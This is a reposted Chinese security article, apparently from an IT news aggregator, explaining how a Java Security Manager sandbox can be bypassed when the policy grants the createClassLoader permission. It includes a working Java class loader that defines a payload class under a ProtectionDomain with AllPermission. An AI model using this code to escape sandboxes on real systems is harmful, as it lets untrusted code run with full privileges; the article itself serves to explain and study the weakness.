IT学习网 - 爱学习 - 最具影响力综合资讯网站 -- 中国IT界的领航者!
热门关键字:      88888  as  xxx
站外
广告
站外
广告

JSM Bypass via createClassLoader

发布时间:2017-01-09 21:42文章来源:互联网文章作者: 佚名点击次数:
JSM(Java Security Manager),又名java安全管理器,经常被用于java进程中的一些权限限制和保护的作用,类似 php 中的 disable_functions ,但 disable_functions 主要是针对函数的禁用操作,而JSM更偏向于运行时的授权检查,根据配置好的安全策略来执行。

JSM(Java Security Manager),又名java安全管理器,经常被用于java进程中的一些权限限制和保护的作用,类似 php 中的 disable_functions ,但 disable_functions 主要是针对函数的禁用操作,而JSM更偏向于运行时的授权检查,根据配置好的安全策略来执行。一般启用 JSM 只要在启动 java 进程的时候加入参数即可,比如:

java -Djava.security.manager-Djava.security.policy=/home/yourPolicy.policy -jar application.jar

而/home/yourPolicy.policy则是用户自行配制的策略文件,一般长这样:

grant {
    permission java.io.FilePermission "/home/secret.txt", "read";
};

这就表示这个java进程对secret文件只有只读的权限。而本文主要总结一下当策略文件被赋予了”createClassLoader”时,能够bypass整个JSM策略的方法。当然,createClassLoader只是最基础的一个权限,其实很多类似的权限都有同样的问题。

其实很早之前空虚浪子心(kxlzx)就有写到过他是如何利用 creatClassLoader 来绕过SAE的沙箱,笔者只是在此基础上做了一个延伸。先来看下 createClassLoader 这个权限是个啥东西,简单来说,createClassLoader就是能够让你的 java 程序拥有建立一个 ClassLoader 的权限。而ClassLoader又是什么呢?我们都知道java程序会编译成 class 文件最终由 JVM 加载执行,ClassLoader则是一个容器或者说是加载器,把java程序涉及的class文件都加载到内存里来,这样 java 里需要引用到其他类就能够在一个容器里成功引用了。

而利用 createClassLoader 来绕过权限检查的原理则是我们拥有建立一个自己的ClassLoader的权限,我们完全可以在这个 ClassLoader 中建立自己的一个class,并赋予一个新的JSM策略,这个策略也可以是个null,也就是关闭了整个java安全管理器。核心在 ClassLoader 存在一个方法叫 defineClass ,defineClass允许接受一个参数 ProtectionDomain ,我们能够自建一个 ProtectionDomain 将自己配制好的权限设置进去,define 出来的 class 则拥有新的权限。核心绕过的代码如下:

public class PayloadClassLoader extends ClassLoader implements Serializable {

    private static final long serialVersionUID = -7072212342699783162L;
    public static PayloadClassLoader instance = null;

    public void loadIt() throws IOException, InstantiationException,
            IllegalAccessException {

        ByteArrayOutputStream localObject1;
        byte[] localObject2;
        InputStream localObject3;

        localObject1 = new ByteArrayOutputStream();
        localObject2 = new byte[8192];

        localObject3 = super.getClass().getResourceAsStream("/Payloader.class");
        int j;
        while ((j = (localObject3).read(localObject2)) > 0) {

            (localObject1).write(localObject2, 0, j);
        }
        localObject2 = (localObject1).toByteArray();

        URL localURL = new URL("file:///");
        Class localClass;

        Certificate[] arrayOfCertificate = new Certificate[0];

        Permissions localPermissions = new Permissions();
        localPermissions.add(new AllPermission());

        ProtectionDomain localProtectionDomain = new ProtectionDomain(
                new CodeSource(localURL, arrayOfCertificate), localPermissions);
        localClass = defineClass("Payloader", localObject2, 0,
                localObject2.length, localProtectionDomain);
        localClass.newInstance();

    }
}
        
JSM Bypass via createClassLoader
本文由 IT学习网 整理,转载请注明“转自IT学习网”,并附上链接。
原文链接:http://www.ourlove520.com/Article/netsafe/xitong/676758.html

标签分类:

上一篇:上一篇:巡风扫描系统试用体验报告
下一篇: 下一篇:没有了
无觅关联推荐,快速提升流量